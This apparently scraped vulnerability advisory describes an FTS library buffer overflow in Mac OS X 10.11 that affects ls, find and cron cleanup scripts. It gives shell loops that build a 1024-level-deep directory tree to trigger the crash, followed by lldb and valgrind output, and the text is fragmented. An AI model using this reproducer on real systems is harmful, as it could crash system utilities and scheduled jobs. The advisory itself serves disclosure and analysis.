Mac OS X 10.11 FTS缓冲区溢出

1、MacOS X 10.11 FTS Deep structure of the file system Buffer OverflowCredit: Maksymilian Arciemowicz ( CXSECURITY )Website: urlurlhttp:/cert.cx/url Affected software:- MACOS's Commands such as: ls, find, rm - iPhone 4s and later,- Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch

2、 Hermes- Apple TV (4th generation)- probably more Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting. PoC:Create an direcotry and perfo

3、rm the following actions: # for i in 1.1024; do mkdir B && cd B; done.cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory If such error occur, don't panic script will continuing. When the script will finish, you need back to top of

4、directory. E.g. # for i in 1.1024; do cd . ; done Then you can perform recursive 'ls' command. Let's run it ten times: # for i in 1.10; do ls -laR > /dev/null; donels: B: No such file or directoryls: B: No such file or directoryls: B: No such file or directoryls: B: No such file or di

5、rectoryls: B: No such file or directoryls: B: No such file or directoryls: B: No such file or directoryls: B: No such file or directorySegmentation fault: 11Segmentation fault: 11Segmentation fault: 11ls: B: No such file or directoryls: B: No such file or directorySegmentation fault: 11ls: B: No suc

6、h file or directoryls: B: No such file or directory crash randometly. Let's see valgrind and lldb LLDB:./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B

7、/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:total 0drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 Bdrwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1drwxr-xr-x 11 cxsecurity staff 374

8、19 Oct 18:09 X2drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7drwxr-xr-x 11 cxsecurity staff 374

9、19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/./B/B:Process 987 stopped* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylibstrlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) frame #0: 0x00007fff97ab6d32 libsystem_c.dylibstrlen + 18libsystem

10、_c.dylibstrlen:-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0 0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi 0x7fff97ab6d3a <+26>: andq $0xf, %rcx 0x7fff97ab6d3e <+30>: orq $-0x1, %rax (lldb) x/x $rdierror: memory read failed for 0xfeb66c00(lldb) register readGeneral Purpose R

11、egisters: rax = 0x00000000ffffffff rbx = 0x00000000ffffffff rcx = 0x00000000feb66c08 rdx = 0x00000000feb66c08 rdi = 0x00000000feb66c00 rsi = 0x00007fff97afbb4d libsystem_c.dylib_vfprintf + 2742 rbp = 0x00007fff5fbfe710 rsp = 0x00007fff5fbfe710. rip = 0x00007fff97ab6d32 libsystem_c.dylibstrlen + 18.(

12、lldb) bt* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylibstrlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) * frame #0: 0x00007fff97ab6d32 libsystem_c.dylibstrlen + 18 frame #1: 0x00007fff97afc6e8 libsystem_c.dylib_vfprintf +

13、 5713 frame #2: 0x00007fff97b2535d libsystem_c.dylib_v2printf + 669 frame #3: 0x00007fff97b095a9 libsystem_c.dylib_vsnprintf + 596 frame #4: 0x00007fff97b0965e libsystem_c.dylibvsnprintf + 80 frame #5: 0x00007fff97b3acc0 libsystem_c.dylib_snprintf_chk + 128 frame #6: 0x00000001000024a8 ls_lldb_unnam

14、ed_function16$ls + 1564 frame #7: 0x0000000100001cfd ls_lldb_unnamed_function14$ls + 421 frame #8: 0x0000000100001a70 ls_lldb_unnamed_function13$ls + 2300 frame #9: 0x00007fff93cdb5ad libdyld.dylibstart + 1 = Time for Valgrind = B/B/B/B/B/./B:total 0drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .d

15、rwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 Bdrwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4drw

16、xr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

17、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

18、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

19、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

20、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:total 0drwxr-xr-x 11 cxs

21、ecurity staff 374 19 Oct 18:09 .drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 Bdrwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3drwxr-xr-x 11 cxsecu

22、rity staff 374 19 Oct 18:09 X4drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8=1009= Invalid write of size 1=1009= at 0x1000126C3: _platform_memmove

23、$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)=1009= by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x100001DAD: ? (in /bin/ls)=1009= by 0x100001A6F: ? (in /bin/ls)=1009= by 0x1002815AC: start (in /usr/lib/s

24、ystem/libdyld.dylib)=1009= by 0x1: ?=1009= by 0x104809C8A: ?=1009= by 0x104809C8D: ?=1009= Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd=1009= at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)=1009= by 0x1002DFAB7:

25、_fts_open (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x100001B92: ? (in /bin/ls)=1009= by 0x100001A6F: ? (in /bin/ls)=1009= by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)=1009= by 0x1: ?=1009= by 0x104809C8A: ?=1009= by 0x104809C8D: ?=1009= ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

26、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

27、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

28、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

29、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/

30、B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:=1009= Invalid read of size 1=1009= at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)=1009= by 0x1003226E7: _vfprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x10034B35C: _v2printf (in /usr/lib/sy

31、stem/libsystem_c.dylib)=1009= by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x100360CBF: _snprintf_chk (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x1000024A7: ? (in /bin/ls)=1009= by 0x100001CFC:

32、 ? (in /bin/ls)=1009= by 0x100001A6F: ? (in /bin/ls)=1009= by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)=1009= by 0x1: ?=1009= by 0x104809C8A: ?=1009= Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd=1009= =1009= =1009= Process terminating with default action

33、of signal 11 (SIGSEGV)=1009= Access not within mapped region at address 0x102D20318=1009= at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)=1009= by 0x1003226E7: _vfprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x10034B35C: _v2prin

34、tf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x100360CBF: _snprintf_chk (in /usr/lib/system/libsystem_c.dylib)=1009= by 0x1000024A7: ? (in /bin/ls)=100

35、9= by 0x100001CFC: ? (in /bin/ls)=1009= by 0x100001A6F: ? (in /bin/ls)=1009= by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)=1009= by 0x1: ?=1009= by 0x104809C8A: ?=1009= If you believe this happened as a result of a stack=1009= overflow in your program's main thread (unlikely but=1009=

36、 possible), you can try to increase the size of the=1009= main thread stack using the -main-stacksize= flag.=1009= The main thread stack size used in this run was 8388608.=1009= =1009= HEAP SUMMARY:=1009= in use at exit: 1,671,999 bytes in 6,025 blocks=1009= total heap usage: 91,521 allocs, 85,496 f

37、rees, 9,706,918 bytes allocated=1009= =1009= LEAK SUMMARY:=1009= definitely lost: 519 bytes in 6 blocks=1009= indirectly lost: 104 bytes in 6 blocks=1009= possibly lost: 0 bytes in 0 blocks=1009= still reachable: 1,645,151 bytes in 5,819 blocks=1009= suppressed: 26,225 bytes in 194 blocks=1009= Reru

38、n with -leak-check=full to see details of leaked memory=1009= =1009= For counts of detected and suppressed errors, rerun with: -v=1009= ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)Segmentation fault: 11MacMini:SCANME cxsecurity$ It looks like a buffer overflow in memmove(). Code ur

39、l The same issue for 'find' which may be used in cron scripts like ./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print./periodic/daily/140.clean-rwho: rc=$(find

40、 . ! -name . -mtime +$daily_clean_rwho_days./periodic/daily/199.clean-fax: find . -type f -name '0-9*.0-90-90-9' -mtime +7 -delete >/dev/null 2>&1; Let's see valgrind output. MacMini:SCANME cxsecurity$ valgrind find . -name "R"=1055= Memcheck, a memory error detector=1055= Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.=1055= Using Valgrind-3.11